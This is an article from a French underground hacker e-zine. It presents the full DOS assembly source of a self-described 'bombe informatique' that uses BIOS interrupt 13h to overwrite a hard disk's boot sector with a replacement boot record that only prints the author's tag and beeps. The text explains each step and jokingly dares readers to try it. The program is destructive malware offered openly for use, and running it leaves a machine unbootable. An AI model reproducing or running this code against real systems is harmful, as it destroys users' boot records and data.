-------[  RtC Mag, At the end of the universe  ]

--------------[  Boot4 Bomb4  ]
---------[ in RtC mag 1 ]
----[  by Par4noID <paranoid-rtc@fr.st>  ]


-------[  La Boot4 Bomb4


    Pour la premiere du mag, j'ai decide d'ecrire une bomb info : la BOOT4 BOMB4 !

    Voici donc le code source d'un programme info de ma composition : il s'agit de ce que l'on peut vulgairement appele une bombe informatique (comprenez par ici que ce programme s'attaque au systeme sur lequel il est lance). Plus exactement il ecrit un nouveau BOOT qui ecrase l'ancien . Prudence donc!

    Techniquement ce prog assembleur ecrit sur la premiere piste,premier secteur (le secteur lance au demarrage vous l'aurez compris) en appelant l'int 13h de la facon suivante:

    mov ah,03h              ; ah=fonction (ici 03 parce qu'on ECRIT)
    mov al,01h              ; al=nbre de secteur (1 secteur)
    mov cl,01h              ; cl=secteur de depart (secteur 1)
    mov ch,0                ; ch=numro de la tete (tete 0)
    mov dh,0                ; dh=numro de la piste
    mov dl,80h              ; dl=numro du disque (disque dur=80h)
    mov bx,offset NEWBOOT   ; bx=offset du buffer (etiquette NEWBOOT)
    int 13h

(notons que nous faisons appel a l'INT 13h car l'INT 21h qui est celle du dos empeche l'ecriture sur le premier secteur)

    La seule "subtilite" technique reside dans le fait qu'il faut ECRIRE DEUX FOIS sur le premier secteur, une seule tentative d'ecriture renvoie en effet une erreur. On reitere donc la tentative d'ecriture (on n'a pas besoin de specifier les parametres une seconde fois).

    mov ax,0301h            ; on reecrit : en effet, l'criture du BOOT
    int 13h                 ; ncessite deux essais pour russir.

    Ensuite fin du prog !!!

    mov ax,4C00h            ; specifie la fin du programme.                  
    int 21h

    Le programme a donc ecrit ce qu'il y'avait a l'addresse NEWBOOT (ce qui explique le mov bx,offset newboot de la premiere partie) sur l'ancien boot. A vous maintenant de creer votre nouveau boot

NEWBOOT:

    (N'oublier pas cependant que l'on ne peut appeler que les instructions BIOS l'INT DOS (21h) n'etant pas encore chargee!) Voici des lors le code de BOOT4 BOMBA (si vous l'utiliser faite le sur votre ordinahahahahahahteur !! )
   
--- BOOT4 BOMB4 ---------------------------------------------------------------

.model tiny                     ; dclaration de la pile
.code   

        org 100H                ; compilation d'un COM
                        
START:
                                                
    mov ah,03h              ; ah=fonction (ici 03 parce qu'on ECRIT)
    mov al,01h              ; al=nbre de secteur (1 secteur)
    mov cl,01h              ; cl=secteur de depart (secteur 1)
    mov ch,0                ; ch=numro de la tete (tete 0)
    mov dh,0                ; dh=numro de la piste
    mov dl,80h              ; dl=numro du disque (disque dur=80h)
    mov bx,offset NEWBOOT   ; bx=offset du buffer (etiquette NEWBOOT)
    int 13h


    mov ax,0301h            ; on reecrit : en effet, l'criture du BOOT
    int 13h                 ; ncessite deux essais pour russir.

    mov ax,4C00h            ; specifie la fin du programme.                  
    int 21h

    ORG 7C00H               ; le BOOT dmarre  cette adresse.

NEWBOOT:                    ; dpart du nouveau BOOT.

    mov si,offset msg       ; ce nouveau BOOT ne fait qu'afficher la chaine
                            ; "BOOT4 BOMBA WRITTEN BY Par4noID". on ne peut pas
MESSAGE:                    ; utiliser l'INT 21h car le DOS n'est pas encore install.

    lodsb                   ; lodsb charge dans AL le caractre situ  
    or al,al                ; es:si puis incrmente si
    jz FIN
    mov ah,0EH
    int 10h                 ; L'INT 10h affiche le caractre situ dans AL.
    jmp MESSAGE              

FIN:
    ret

msg     db      'BOOT4 BOMBA WRITTEN BY Par4noID',7,7,7,7,7,7,7,7,7,7,7,7,7,0
                              ;le 7 emet un BIP.

END Start
                ;WRITTEN BY Par4noID        

--- BOOT4 BOMB4 ---------------------------------------------------------------


-------[  EOF
